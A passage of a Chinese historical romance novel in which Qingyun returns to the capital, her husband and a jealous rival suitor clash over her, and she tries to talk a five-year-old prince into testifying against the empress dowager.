清蕴后颈抵着冰凉的铜镜边缘,药草气息混着他身上铁锈味在唇齿间漫开,男人带着薄茧的虎口正卡在她咽喉处,拇指缓缓摩挲着颈侧跳动的脉搏。 “可以?”他含住她下唇轻吮,低低发出这声疑问,而清蕴的回答,是任由他的手探入中衣。不仅没有阻拦,反而伸手攀上他宽阔的背部。 李审言几乎受宠若惊了,手在触碰到那处边缘时停住,分开唇俯首,宛如鹰隼盯猎物般盯着她,像是要借此看穿她的心思。 清蕴和他对视,平复了会儿气息,李审言吻得又深又久,对她而言总是来不及呼吸,唇瓣也转成深红。 “不喜欢?” 李审言当然喜欢,喜欢得身体都发疼,但他没忘记陆清蕴的性格,她可不会这么容易就妥协。 明明昨天还对他爱搭不理。 答还是如实答:“喜欢。” 清蕴微微笑了下,“不是很想要吗?” 李审言先怔了下,随即怒火直冲上头,“你以为,我只想要一夕之欢?” 清蕴没说话,眼神却给予了肯定回答。 李审言终于明白过来,即将抵达京城,她这是生怕他纠缠不休,想在进京前“成全”他,以摆脱他这个麻烦。 他冷笑了下,胸口隐隐传来痛意,很快被更大的怒火充斥,“那你觉得,一次就能满足我吗?” 他道:“怎么也得陪个几百上千次,等我厌倦了,才能摆脱我。” 清蕴垂眸,她确实在试探他,如果仅仅是一次身体的亲密就能了却他的执念,她不介意用这个方法。但很显然,李审言想要的不仅是这些,他确实动心了。 虽然不知是为何,从何时开始,但她还不至于分辨不出他所作所为的真实性。 正想开口,李审言低头在她脸上狠狠咬了一口,起身大步离去。 接下来的两天,两人都没怎么说话,见面连眼神都不曾交流,让白芷等人纳罕不已。 因脸上留了牙印,清蕴也戴上了面纱,免得惹人浮想联翩。 抵京是在午后。 清蕴坐在马车内,驾车的是李审言亲卫,左右也有人把守,她根本无法中途下车。 看方向,李审言似乎打算直接把她带回齐国公府。 离国公府还有两条街距离时,马车忽然停下,清蕴听到熟悉的声音,瞬间掀开车帘。 “拙荆劳烦李统领照料。”王宗赫站在马车面前,看见清蕴身影,先对她投去安抚眼神,再朝李审言拱手,“在下来接她归家。” 李审言倏然勒马,玄色披风扬起锐利弧度。两个男人隔着三丈距离对视,空气里浮动的尘埃突然变得滞重。 第88章 李审言,松手 王宗赫来的时机正好, 再晚点,但凡到了齐国公府,李审言有的是方法打发他。 这会儿在大街上,王宗赫光明正大来接自己的夫人, 无人可以阻拦。 翻身下马, 李审言正面看向王宗赫。 二人都是九尺有余的身高, 李审言略高一指, 但身形要健硕太多,气势外放, 像出鞘利刃,充满攻击性。相较而言,王宗赫更显清癯儒雅,目光冷冽,宛如冰层下的暗流, 表面平静内在汹涌。 两人相隔而立, 恰似霜刃与青锋相撞,谁也不让谁。 李审言目光掠过马车边的雪色面庞,“王大人自身也是刚从狱中出来吧, 接人倒是勤快。” 王宗赫淡笑了下,“这等大事,自然不容疏忽,劳烦李统领一路护送内子了。” 一口一个拙荆内子, 生怕李审言不明白他和清蕴的关系。 他的身后站着两个人, 李审言认得出那是老头子身边的人, 立刻明白过来, 这人不仅躲过杀机,还和老头子达成了某种协议, 得到了庇护。 这是老头子对他的警告。 怒火和妒火交织,如果可以,李审言恨不得当街杀了王宗赫,再带着人离开。 可他知道,陆清蕴不会喜欢,真这么做了,只会把她推得越来越远。 李审言看向了清蕴,王宗赫也随之看来,“夫人?” 清蕴颔首下马车,看着她走的方向,李审言下意识攥住她手腕。 “李审言。”清蕴看向他,声音平淡,“松手。” 李审言从来不知,她还会有这样平静却刺人的眼神。 王宗赫上前两步。 好在这是在巷子内,两方对峙才没有引起过多注意。 “等等。”李审言拧着眉头,“祭日快到了,你不是说,要到国公府来祭拜他。” 这个“他”,指的当然是李秉真。 两人并没有聊过这件事,清蕴默了几息道:“不必了,等到那日,我自会去为他扫墓。” 看着她头也不回的背影,李审言握拳,等到人再也看不见,终于忍不住,狠踹了脚马车。 车辕被踢断,猛地击向墙角,左右无声,都不敢开口。 ………… 王宗赫也备了马车,一行人转了地方后,他低声问起来,“怎么和他一起回来?” 清蕴把事情的来龙去脉简单解释了遍,省去李审言为她而去的猜想,只道他们赈灾的举动和三十万石粮食引起了齐国公注意,故有此插曲。 王宗赫颇为自责,“怪我,不该让你一人前去赈灾,险些害了你。” 清蕴摇摇头,“本来就是我同意的,真有事,也是我们二人一起承担。” 王宗赫喜欢这个说法,这说明清蕴真正承认俩人为夫妻。夫妻一体,才会荣辱与共。 他抬手,想为清蕴解开面纱,不防被她别开脑袋闪过,让他动作停滞。 清蕴轻声解释,“有些不方便,等回家后再摘下。” 王宗赫目中闪过暗色,诸多猜想浮现,作为男人的嫉妒心和丈夫的占有欲使他迫切想知道真相,但他仍很克制地压抑了下去,选择尊重清蕴,“好,都听你的。” 到王家后,清蕴先随他去向长辈报平安,把近段时间了解的事一一道来。至于面纱的存在,就用感染风寒应付过去。 柳太后注定倒台,余下的就看齐国公会不会留下文昭帝的性命,是要扶持自己的亲外孙静王登基,还是直接取而代之。 在这些局势变动下,王家危机算是已经过去。他们之前遭遇了大大小小的麻烦,其中揪心的就是王宗赫受诬陷入狱,险些被定下重罪。 好在有王家周旋,清蕴又亲自带粮赈灾,及时遏制了沸腾的民情,也为王宗赫争取了时间。 王家长辈本就疼爱她,兼之她为王宗赫奔走所付出消耗的无数精力,对她更是怜惜感激。所以,关于清蕴为何会途中辗转,最后和李审言一同归京的事,除去郑氏嘀咕了两句,其他人都默契地没问,让她先去洗漱歇息。 清蕴确实累了,她坐马车就容易头晕乏力,之前让白芷配的药就是为了治这个,一路勉强支撑过来,这会儿面纱下的脸苍白无比。 看出她体力不支,离开长辈的视野,王宗赫直接把人打横抱起来,走小路去春诵堂,省得被下人们看见,她不习惯。 清蕴很快就朝他胸膛倚过去。 习惯成自然是很可怕的事,经过两年的相依相伴,她早就默认了有这样一个炙热的怀抱会随时对自己敞开,也习惯了他大多数时候的沉稳可靠。 分开这些日子,也不可能没有一丝思念。 所以,即便心情会因其他人的举动而泛起丝丝涟漪,对她而言,都是可以忽略、很快忘记的。 “先去沐浴?”王宗赫把她放在椅上问。 清蕴点头。 下人去备水的时间,清蕴就靠着王宗赫,和他慢声聊着这些天各自发生的事。 两人都是有条理的性子,行事周到,懂得瞻前顾后,一桩桩、一件件互相沟通起来都觉得没什么缺漏,交流得极其顺畅。 清蕴说了会儿,觉得没什么可操心,不知不觉竟睡了过去。 王宗赫低眸凝视她片刻,目光似乎想要穿透那层面纱看到什么,手指微动,最终还是忍住了。 他随手拿起一本书,就着这样的姿势看起来,只是许久才翻了两三页。 清蕴直接睡了两个时辰,睁眼时,窗外昏暗无比。 她想要动一动,突然想起自己还在王宗赫怀中,于是自然无比地蹭了两下,亲昵可爱的动作让王宗赫流露笑意,“先沐浴还是先用饭?” 清蕴:“水还热着?” 王宗赫:“让他们先留着了,没送过来。” 这会儿还不饿,清蕴道:“还是沐浴吧,坐了大半天马车,感觉浑身都是尘土。” 王宗赫自然随她的意见。 要沐浴,自然要解衣,王宗赫继续坐在那儿看书,没有要特意回避的意思,清蕴就转到净房外的屏风后,解带松衣。 临进净房前,她唤了声,“三哥。” “嗯?” “帮我把面纱拿走,它不便沾水。” 王宗赫思绪停住,起身走去。 走到清蕴身前时,他抬手,指尖勾住面纱系带的刹那,清蕴睫毛微不可察地颤动。 水汽氤氲中,那道若有似无的齿痕骤然出现在眼帘中,刺得王宗赫瞳孔紧缩。 他拇指碾过那道齿痕,本来重重的力道,在触及肌肤时,又瞬间变得轻柔。 清蕴暂时没有开口,观察面前人的神色。 解释也要看时机,看对方的想法。 如果王宗赫因这道齿痕认定她和李审言发生了什么,即使她指天发誓也没用。有些话,要对方听得进去,说出来才有意义。 出乎意料的是,王宗赫竟什么都没问,短暂的沉默过后,开口道:“猗猗舟车劳顿,我服侍你沐浴吧。” 清蕴迟疑了下,应声,两人一同进入净房。 褪去所有衣衫,清蕴把大半身体都浸入浴桶。再怎么亲密过,她也不可能习惯袒露身体。 王宗赫没做什么,当真把自己当成服侍她沐浴的仆从,帮忙淋水、搓发,力度适中,动作到位。 大约一刻钟的功夫,清蕴被热水熏得脸色通红,让王宗赫背过身去,自己擦拭穿衣。 余几粒系扣时,王宗赫转身,指尖在她的湿发顿了顿,忽然俯身贴下来,齿间磨着锁骨轻咬,温热手掌垫在腰后。 小别重逢胜新婚,夫妻眼神相触,就知道彼此的渴望。 中衣滑落,松垮绸裤倏然坠地。 “三哥……” 清蕴蜷缩脚趾,却被攥住脚踝拖回水雾里。 王宗赫单膝抵开她,中衣紧贴着彼此身体,雾气凝结出的水珠顺着手臂滑落。 他掌心覆上那道齿痕,“疼么?” 清蕴摇头。 王宗赫吻下去,起初是轻柔的碰触,找回熟悉的感觉时,动作才渐渐大起来。 托着她,王宗赫慢步把人抱出净房,放上妆台对着铜镜,咬着她耳垂呢喃:“放松些,我想看看你。” 然而菱花镜面蒙着雾气,把人映得时明时暗。 清蕴偏首看去,什么也看不到。 她发现了,三哥尤其喜欢对着镜子亲密。如果没有镜子,就会用那双眼细细丈量她的每一寸。 即将被吞吃入腹的感觉再度出现,随着王宗赫的动作越发强烈,妆奁铜锁被晃得叮当乱响。 清蕴克制不住地出声。 ………… 动静渐消后,王宗赫仍不肯离开。带着薄茧的拇指抚过她脸侧咬痕,突然低头重新覆上那处,轻轻吻了下,似在安抚。 这样温柔的吻,和刚才激烈的纠缠截然不同,却让清蕴肌肤颤了下。 出于独占本能,王宗赫其实很想覆盖那道痕迹,但那样受伤的是清蕴,也会流露出他的在意。 他不需要在意,只有外来的、不被接受的人才需要用这样的方式去证明什么,而他和清蕴是夫妻,能够光明正大地拥有彼此,根本不该对这种幼稚、无能的挑衅投去太多注意。 王宗赫这样告诉自己。 慢慢的,他心中那股火当真熄了下去,低头看去,清蕴仍在怀中,眼眸水润,带着暴雨后的宁静。 她突然出声,“我和他,并没有发生什么。” 王宗赫确实有一瞬间的意外,很快就嗯了声。 清蕴仰首,顺着他手臂的力量往上坐了些,和他对视,“三哥不在意?” “在意。”王宗赫道,“但以你当时的处境,无论发生何事,都不受你控制。” 所以他当时的怒气,是对李审言,也是对自己,唯独没有对清蕴。想通之后,就没有再仔细询问的打算,不想让清蕴想起不愉快的事。 所谓的贞洁,在他眼里从来就不是评判一个人的标准,更不会受李审言的算计,轻易做出影响二人感情的事。 第89章 那是用力吮吸留下的痕迹 归家后一场好眠, 清蕴放空自己,睡到了巳时,起榻的时候脸色白里透红,一看就休息得极好。 白芷帮她压下翘起的头发, 根根梳理好, 默默瞟一眼, 再瞟一眼, 眼神中的探究和庆幸让清蕴看出来了。 她回眸,“怎么了?” 白芷摇摇头, “三公子平安,为主子高兴。” 清蕴知道,白芷其实是担心三哥会因李审言的事迁怒于她,怕她昨晚受委屈。 不想让白芷误会王宗赫,她直接问:“是在担心他因李审言为难我?” 白芷犹豫点头。 清蕴:“三哥虚怀若谷, 明辨是非, 不是小器之人,昨晚也没有过多纠结于此。” 说着微微用力握住白芷双手,“不过, 还是要多谢你为我着想。倘若我和三哥起争执,在府中应该也只有白芷你会无条件站在我身边。” 白芷有些不好意思地抿唇,露出浅浅的笑,答了句“我知道了”。 不过, 心里还不是那么认可。主子可能没注意到昨天三公子和李统领对峙的眼神, 冷冽得可怕, 她当时都以为两人会打起来。 好在没有, 真打起来,遭殃的是主子。 妆扮时, 清蕴和镜中人对视。 菱花镜映出熟悉的容颜,六年时光未改骨相,眉峰如黛色寒山,聚着远意,眼尾添了三分岁月浸润的沉静,鼻梁挺翘,唇色浅淡,和六年前刚出阁时没什么区别。 清蕴一直都知道,自己有副好相貌,能够让她比大部分人先一步得到他人好感,行事也往往有事半功倍的加成。 太美的容貌也会带来麻烦,譬如先帝的觊觎,譬如昨天的纠葛。 但她从不觉得这是自己的问题。 把最后一支发簪插好,清蕴环顾四周,“三哥呢?” “三公子出门办事去了,说中午就会回来,看时辰应该差不多了。” 白芷说得不错,大约一炷香的功夫,王宗赫身影就出现在春诵堂,见她恢复神采,下意识笑了下。 摆饭的间隙,清蕴问:“三哥遇到什么问题了?” 一副心事重重的模样。 王宗赫本不想让她担心,但此事牵涉到了她,沉思道:“静王当初应该看到了先帝驾崩真相,有人想借他的口,让陛下退位。” 清蕴:“所以?” 王宗赫:“静王不肯见齐国公,大长公主劝也不听,他似乎听信了什么谣言,对齐国公很有敌意。” 五岁孩子对人的好恶全凭心情,不讲什么道理。纵然静王天生聪慧,也改不了他还是个懵懂幼童的事实,也许他觉得当初惹得外祖母伤心的外祖父不是什么好人,也许他认定齐国公是叛臣贼子,来害他和文昭帝的性命。 清蕴凝眉,“翊儿确实有些倔。” 认定的事实,轻易不会改变看法。 王宗赫:“有人听说静王很依赖你,希望你走一趟,劝劝他。” 清蕴第一反应是,有人要借这件事来对付王家。随即反应过来,以自己对前公爹的了解,真看不惯王家,不会辗转从她这儿下手。 并非她自大,而是她很清楚,齐国公对她爱屋及乌,只要其对长子还有愧疚、慈爱之心,就不会为难自己。 她想了想,“我也不能保证说服他,如果实在没办法,可以去试试。” 这话传到齐国公及其下属耳中,其余人仍有犹豫,齐国公则大手一挥,“让她去,成或不成都没事,绝不会有人敢为难她。” 他对清蕴还是很偏爱的。 得到承诺,见清蕴自己也愿意,王宗赫选择亲自陪她去静王府。 为方便照顾静王,静王府离大长公主府尤其近,这也代表,和齐国公府同样仅有一街之隔。 太夫人尚未归京,齐国公府现在就父子俩。 清蕴抵达静王府大门时,发现外面围了一圈甲士,个个人高马大,杀气腾腾。 不像保护,更像囚禁。 待看到领头人时,她瞬间明了,李审言带的兵,对静王杨翊当然不会有什么容忍度。 杨翊生母为李贵妃,她虽是李审言长姐,但姐弟俩的关系,恐怕不比李审言李秉真这对兄弟好多少,要让他对这个外甥有什么怜爱,比天上下红雨还难。 更何况,大长公主与他有生死之仇。 出入静王府的人都要受限,这俩马车出现时,正好在附近的李审言打马而来,看见相携而出的夫妻俩,瞳孔微缩,很快恢复寻常神色,用马鞭止住二人步伐,抬首,“他们可有凭证?” 守门小兵道:“回统领,有将军手令,可以放行。” 李审言:“不行,一次只能进一人。” 小兵犹豫,王宗赫出声,“齐国公特请内子来劝说静王殿下,在下自要陪同,不然,李统领自可去询问齐国公。” 李审言坐在马上,居高临下地扫视二人,“拿他来压我?” 他心中不爽极了,王老三简直如同没断奶的孩子,有事没事就找长辈出马,偏偏找的还是老头子。 王宗赫很淡然,“在下只是陈述事实。” 他能够应付,清蕴就没有开口,作为王宗赫的夫人,安静地待在他身边。 这副夫唱妇随的模样看得李审言目光幽幽,他怎么不知道,陆清蕴是这种体贴听话的性子?以前在李秉真身边时,明明事事都是她为主导,把他的好大哥,调教得和狗一样乖巧。 到王宗赫身边,就反过来了? 俩人不知他的心理活动之丰富,彼此对视一眼,了解了意思。 进,定是要一起进的。 李审言忽然下马,横插进二人之间,对小兵道:“搜身。” 小兵哦了声,立刻走到王宗赫身边,从肩头开始,仔细往下摸索。 小兵搜身的当口,李审言就抱胸立在那儿,姿态看着懒散,锐利的余光却在打量身侧清蕴的每一寸。 牙印消了,再看不出任何痕迹,神色恬静安然,也没有和他相处时的冷淡,像是终于回到了安心的地方。 扫过清蕴耳后某处时,李审言目光定住,死死地看着那道浅浅的红痕。 以前他或许不懂,但经历过两次吻之后,他一眼就明白,那是用力吮吸留下的痕迹。 现在他们还是夫妻,做些亲密的事再正常不过,李审言这样告诉自己。 可越是有意忽略,面前二人相拥、缠绵的场景就越在脑海中浮现,甚至一帧帧闪过。 李审言神色越来越冷,冷得几乎要结出冰碴。 这厢,小兵搜完了王宗赫,确定没有携带危险物品,转头到清蕴身前,犹豫道:“那陆夫人这儿……” 话音刚落,被李审言不轻不重踹了脚,“啰嗦什么,开门——” 小兵委屈地瞥去一眼,乖乖开门。 让人牵好马,李审言亲自陪两人走了进去。 静王府大小按亲王规格而来,布局、装饰不算华贵。静王当初出宫急,没来得及新建府邸,直接在曾经宅子的基础上稍微改建。 府内女使、侍卫大都是大长公主的人,此时领着一行人去了前厅。 只有大长公主等在那儿,看见李审言,神色不可避免变了几分,有恨、有妒、有怒。 恨李审言生母,妒他能够安然无恙地站在这儿,怒他在自己面前如此嚣张,不再掩饰一身不屑。 当初李秉真去世,按理齐国公该为李审言请封世子,可国公一直没做,一是担心大长公主受刺激对李审言做什么,二是李审言冲到他身前,明确说过不稀罕所谓的世子之位。 李审言说的不是大话,如今他凭借自身努力得到了现在的地位。如果他不是齐国公的儿子,齐国公有意压制,如今他权力还会更大些。 李审言没故意开口刺激大长公主,冷冷一瞥,任由另外两人开口。 清蕴唤了声“母亲”,两个男人接连侧首,随后想起来,她被大长公主收为了义女,这声母亲不一定有别的含义。 等她表明来意,大长公主颔首,“翊儿在书房画画,他不喜欢太多人,你去吧,我在这儿招待客人。” 清蕴应声,随女使径直往书房去。 放在平时,大长公主还有兴趣和王宗赫说些话。这种场合,她不失态已经算沉得住气,因此只招呼下人上茶水点心,随后静坐在那儿,一言不发。 王宗赫有礼地道谢,李审言则理都没理,走到窗边,紧盯着人离去的方向。 ………… 杨翊远远看见清蕴身影,高兴地撇下画笔,到书房前抱住清蕴,埋进她腰腹,“姨母。” 他说:“想你。” 这样一个粉雕玉琢的孩子在面前亲昵地撒娇,谁都会忍不住心软。 清蕴俯身想把他抱起来,却被躲过,杨翊道:“长大了,很重。” 才长大一岁而已,被他说得好像成了大孩子,清蕴失笑,“这点力气姨母还是有的。” 她拉着人往里走,“翊儿在画什么?” 杨翊示意一旁用作模仿的画册。 清蕴一眼就认出来了,那是李秉真年少时的画作,那会儿笔触尚显青涩,风格初现。 杨翊默默观察她脸色,察觉出姨母的怀念,忽然道:“这是舅舅的。” 清蕴点头。 杨翊走上前一步,摸她眼睛,“姨母想他。” 清蕴没否认,“我和他曾为夫妻,有感情,想他也是正常。” 她知道这些话他都能理解,没有因他年纪小就糊弄。 杨翊忽然闷闷道:“我和舅舅,很像。” 清蕴轻轻地“嗯?”了声。 杨翊问:“姨母喜欢我,是因为他?” 清蕴明白了小孩的心事,摇头,“你们不一样。” 或许起初有爱屋及乌的原因,但相处下来,杨翊自己就有很多值得疼爱之处。 而且,某种意义上,清蕴觉得这孩子和自己很像。 杨翊认真地盯着她,分辨出话语的真假,终于开心起来。他拉起清蕴的手抚摸自己的脸,难得说了长句,“没事,等我长大了,会更像,姨母可以喜欢。” 清蕴忍俊不禁,“姨母本就足够喜欢你了,还要怎么喜欢?” 杨翊不答,脸色微红地埋在她膝间。 他当然是希望姨母能够一直喜欢自己了。 这些出于孩童对喜爱之人的占有欲,清蕴不清楚,她接触的孩子不多,杨翊和文昭帝都很懂事。让她几乎要觉得天底下的小孩都是如此,无需操心。 慢慢悠悠地说了会儿二人间特有的亲近话,清蕴才从其他事,不着痕迹地引导到来意。 杨翊一听,直接流露抗拒,“我不要。” 清蕴讶异,“为何?” 杨翊:“做证了,杨睿被逼退位,是帮他,没好处。” 清蕴不动声色,“翊儿想要什么好处?” 她想过杨翊和齐国公这个外祖父不熟,可能会担心齐国公杀自己,没想到竟是这个原因。 杨翊睁着清澈的大眼睛,语气自然无比,“杀杨睿,让我当皇帝。” 第90章 学一声狗叫 天真无邪的面容、稚嫩的语气, 二者组合在一起,显得那句话尤为可怕。 清蕴内心一惊,打量杨翊神色。 是他的真实想法,还是受其他人教导? 他完全不觉得自己说出了什么惊人之语, 继续道:“他会扶持我, 上位吗?” 不会。清蕴心中道, 齐国公筹谋这些年, 如果仅仅因为杨翊是自己的外孙,就要把唾手可得的皇位拱手相让, 和他一起打天下的人也不会同意。 清蕴先问原因,“翊儿为什么想当皇帝?” “皇帝厉害。”杨翊道,“可以命令所有人,什么都不怕。” 清蕴:“你觉得现在的陛下很厉害吗?” 杨翊摇头,露出嫌弃神情, “他没用, 什么都做不到。” 被一个不是自己亲生母亲的人把控,连喜欢的姨母也维护不了,杨翊打心眼里瞧不起他。 曾经他就不喜欢杨睿, 到现在也没改变想法,不可能兄友弟恭。 想了想,继续道:“父皇就可以。” “可以什么?” 杨翊:“做所有事,不喜欢就杀。” 清蕴:“可所有人都不喜欢他。” 杨翊歪头, 他不明白, 当皇帝要那么多人喜欢干什么?只要外祖母和两个姨母站在他这边就可以了, 其他人他根本不在乎。 清蕴不知道, 他是受几度宫变而产生的这些想法,还是继承了杨家血脉, 天性如此。但杨翊年纪还小,尚可以教导。 她道:“正是因为你父皇太任性,罔顾百姓和普通人的性命,才会有那么多人不服、想要推翻他,不会真心拥护他。如果柳太后把持朝政时,没有做太多天怒人怨的事,你外祖父也不会在这么多人的支持下进京勤王。不是得到那个位置,就可以为所欲为的,行有所止、欲有所制,才能真正得到敬重。” 说着,捏了捏杨翊尚带婴儿肥的脸颊:“你和小伙伴玩将军游戏,若总是抢走所有木剑,大家还愿意同你玩吗?” 杨翊仰首,“当皇帝就是要拿最多的木剑。” “但好将军会把木剑分给士兵呀。”清蕴轻声,“你父皇把木剑全折断了,所以最后连帮他捡断剑的人都没有。” 杨翊盯着她想了会儿,忽然道:“明白了。” “嗯?” 杨翊道:“要有理由,才能杀人。” 清蕴沉默了,望着眼前的孩子,忽然觉得,有时候确实不得不承认血脉的力量。 他骨子里有同样的冷血。 杨翊不明白,为什么自己说完那句话,姨母就用复杂的眼神盯着自己。他还没来得及问出口,书房门就被推开了,李审言出现在门口,脸色冷得吓人,“你想杀谁?” 他几乎听完了后半部分的对话,当杨翊的话语一句句出现时,李审言脑海中不由浮现出曾经建帝杨煦的身影。 暴虐、嗜杀、多疑、喜怒无常,杨煦如此,作为他的儿子,杨翊小小年纪竟也展现出了这一面。相较起来,龙椅上的文昭帝反而显得温厚老实了。 面对清蕴的杨翊一怔,回过头去。 不曾知晓杨翊容貌的李审言浑身一震,下意识看向清蕴。 她正半搂着这孩子,可以想象刚才两人交谈时多亲昵。 杨翊:“你是谁?” 又道:“谁让你,进来?” 他话语里有丝被冒犯的不悦,也是这时候,清蕴才意识到,原来在长辈亲人面前的杨翊,和在外人面前的杨翊完全不同。 五岁的他,已经很懂得权力要如何运用了。 李审言冷哼,“我是你爹。” 杨翊没有发怒,反而平静道:“擅自闯进来,外祖母会罚你。” 他根本没把李审言放进眼里,也不会在乎这个人说什么。 李审言是背着大长公主溜过来的,因为他想知道,为什么那些人会觉得陆清蕴对一个孩子有那么大的影响力,能把这种事全权交给她。 听到杨翊漠视人命的话时,他冷笑连连。但看到这孩子的脸时,又闪过一个不可思议的猜想,这世上真有转世投胎不成? 直到杨翊又说出这句话。 李审言走过去,站立在二人面前,直直地看他,再审视清蕴的反应。 发现姨母没出声斥责,杨翊抬头,“姨母,这是谁?” 清蕴:“你可以称一声二舅舅。” 杨翊立刻想了起来,这就是小姨母提过的那个人,外祖父和别人生的孩子。 他道:“我没有第二个舅舅。” 李审言扯了下唇,勾住杨翊后颈,单手把人拎了起来。 一大一小贴得极近,两双眼对视,李审言是冷冷打量,杨翊则是终于带了敌意。 空中蹬了两下腿,他很快意识到这动作的无力,抿唇道:“放开我——” 那点力度和眼神的威慑力在李审言面前等同于无,李审言依旧自顾自地扫过他每一寸。 清蕴终于开口,“放开他。” 李审言啧了声,把人往地上一放,杨翊立刻走到清蕴身边,勾住她手。 看杨翊顶着这样一张脸和清蕴亲近,李审言十分不悦,出言讽刺,“你还没断奶么?遇事就往人身后躲。” 杨翊:“我还没长大,不会和你,硬碰硬。” 李审言:“……”这小子,还挺精。 清蕴不用问,就知道李审言不知使了什么方法甩开大长公主,质问没意义,只道:“国公让我来劝静王殿下,李统领要从中作梗吗?” 李审言:“劝了这么多句,你觉得有用吗?” 他眼中带着一种隐隐的杀意,“这小子天生反骨,你就是他亲娘,他也不一定听。” 意识到这张脸是恰巧和李秉真生得像之后,李审言又想了很多。老头子打仗是把好手,遇到家事向来糊涂,静王顶着这样的脸走到他面前说要皇位,指不定老头子昏了头,真能答应他。 本来也就是没什么感情的所谓外甥,如果可以,李审言真想杀了这小子。 杨翊对危险的嗅觉也极为敏锐,又往清蕴身后躲了点。 清蕴知道今天劝不出什么结果了,出声道:“他们在哪儿?” 李审言顿了几息,不情不愿道:“你的好‘母亲’犯了喘疾,正在看大夫,王宗赫一同。” 趁这个时机,他才溜了过来。 大长公主的喘疾是在李秉真去世后患上的,那段时间她伤心太过,常常哭到喘不过气昏厥过去,导致患病。 清蕴有些担心,对杨翊道:“那我们先去看望外祖母吧。” 杨翊对外祖母也是真心敬爱,立即应下。 往外走的时候,碰上了服侍杨翊的女使,看着他匆匆随女使而去,清蕴步伐缓慢。 李审言走在她身侧。 长廊转角处,清蕴停步看向李审言:“李统领先走一步。” 她不想被人看到两人走在一起。 李审言突然攥住她手腕按在廊柱上,鼻尖几乎撞到她耳后红痕:“对我总是又冷又凶,你能教那小崽子一堆大道理,对我怎么就不能讲讲?” 再近一点,他的唇就能贴上去了。清蕴微微一动,确定他攥得很紧,就没做无谓的挣扎,“道理要讲给会听的人。” 李审言:“你不说,怎么知道我不会听?” 清蕴:“当真?” 李审言:“你可以试试。” 清凌凌的眼盯着李审言,好一会儿,就当他以为,她会让自己放开她,或者其他什么正经要求时,却看见清蕴露出一抹微笑,语气沉静,内容却堪称恶劣,“那学一声狗叫。” 李审言眼微微睁大。 清蕴好整以暇地看他,好像如今受制于人的不是自己。 半晌,李审言忽然挑眉,“你真要听?” 清蕴仍是含笑。 握住她手腕的手微松,后退一步,正当清蕴以为他要知难而退时,李审言又猛得抵过来,贴在她耳侧,不轻不重地“汪”了声。 声音还在耳畔回响时,人已经迅速撤离,那双丹凤眼盈着挑衅。 清蕴原地怔了会儿,转而又笑起来。 不同于刚才带着捉弄试探的意味,这次的笑很真实。 她夸赞道:“学得很像。” 李审言:“……” 无话可说的成了他,不知为何,耳根竟泛起极淡的红。他连来意和嘲讽王宗赫的事都忘了,就这样看着清蕴往回走。 清蕴的心情倒是微妙地好了些,因杨翊那些话而带来的复杂情绪暂时被抛到了一旁。 两人分前后离开了这块地方,清蕴先去看望大长公主,得知她只是因近日劳累而犯病,好好休息就没大碍,才放下心来。 身边没有别人在,连杨翊也被带出去了,她道:“母亲不该担心太多,国公爷连文昭帝的性命都准备留下,更不会伤害翊儿。” 大长公主:“他今日是不想,往后也会如此吗?” 清蕴无法保证,那个位子与众不同,一旦坐上去,谁也不能保证此人心性会一如以往。 此事问她也没用,大长公主换了个话题,“猗猗,其实有件事我一直想问你。” 清蕴嗯了声,认真倾听。 “少思当初,真的是……时间到了,才病重的吗?” 与她对视片刻,清蕴颔首,“是。” 大长公主长长舒出一口气,喃喃道:“那就行,那就行。” 她很怕自己连儿子去世的真相都不知道,或者说,她怕自己抚养那个孩子,是对不起少思。 如果先帝真是害死少思之人,那么,把念子之情寄托在翊儿身上的她,岂不成了天底下最可笑的母亲。 清蕴:“正值特殊时刻,您和齐国公曾为夫妻,是风口浪尖的人物,有心人要做什么肯定会想从您这儿下手。那些消息真真假假,还是不要随意听信,专心养好身体,和琪瑛、翊儿一起就好。” 大长公主颔首,“你说得对。” 转头问:“刚才和翊儿商量得如何?” 90-100 第91章 她不该迈出第一步 清蕴把刚才和杨翊的对话大致复述了遍, 隐去李审言的出现,着重体现出杨翊和寻常孩子不同的思维。 她不想说这一定是血脉的传承,杨翊自幼随李贵妃生活在承乾宫,有那样一位生父, 可能时常处于心惊胆战中。 聪慧、敏感、体弱, 又生活在权力顶峰与危险交织的地方, 由此造就与众不同的心性, 可以理解。 大长公主沉思了会儿,缓缓道:“这孩子……是有些不一样。” 她道:“当初得知婉仪去世, 他一滴泪都没落,而是告诉我,婉怡被先帝所害,让我杀了先帝。” 那时候大长公主沉浸在失去女儿的痛苦中,对建帝同样有怨怼, 因此不觉得外孙的话可怕, 反而隐隐赞同,回想起来方觉心惊。 哪个孩子会张口就对自己的父亲喊打喊杀? 大长公主带兵时杀过不少人,她曾想过自己接连失去儿女是不是造了杀孽的报应。想到外孙, 她情不自禁握住清蕴的手,“如果他和先帝一样……” “不会的。”清蕴肯定道,“翊儿才五岁,这么点大的孩子, 正需要长辈的教导。他只是喜恶相较于常人更明显, 只要母亲好好教, 挑选好先生, 让翊儿明辨是非对错就行。” 在她笃定的语气下,大长公主慢慢点头。 “当务之急, 是让翊儿愿意站出来指认柳太后。”清蕴道,“母亲,留给我们的时间不多了。” 和大长公主谈心过后,约定好明日再来,趁着还没有归家,清蕴就让马车换了段路,带着王宗赫一起来到姜玲家中。 来得很巧,正好是姜玲和她的孙子江衡在家。 王宗赫沉默地站在清蕴身后,与众不同的气势和身居高位数年自然而然的威严让姜玲略显局促,她是第一次见到清蕴的夫君。 清蕴笑着向两人介绍彼此,王宗赫微微颔首,他知道姜玲此人。 清蕴说出来意,“我来找衡儿,有些和静王相关的事,想问问他。” 静王兴致来时,会去清蕴和李琪瑛合办的学堂,在那儿结识了大他两岁的江衡,两个孩子很合得来,有时候还会特意相约一起游玩。 姜玲紧张,“这孩子是做错了什么事吗?” “没有。”清蕴宽慰她,“他没犯错,也没有祸事,是我有话问他。” 姜玲长舒一口气。 江衡正在屋檐下放的小桌子上写写画画,走近一看,正在做算学。 清蕴没惊动孩子,自己缓步走到江衡身后。 檐角垂落的夕照余晖洒在宣纸上,七岁孩童正咬着笔杆凝眉苦思,面前摊开的算题墨迹未干: “今有垣厚五尺,两鼠对穿。大鼠日一尺,小鼠亦一尺。大鼠日自倍,小鼠日自半。问:何日相逢?各穿几何?” 王宗赫瞥见题目微微侧目,这题在户部清丈田亩时常用。却见江衡突然用笔在纸上写道:“首日两鼠各进一尺,共掘二尺,余三尺。” “次日大鼠翻倍掘二尺,小鼠减半掘半尺。”江衡念念有词,“次日合计二尺半,两日共掘四尺半,仍余半尺。” 清蕴见他要提笔写第三日,出声,“且慢,第三日未过完便会凿穿。” 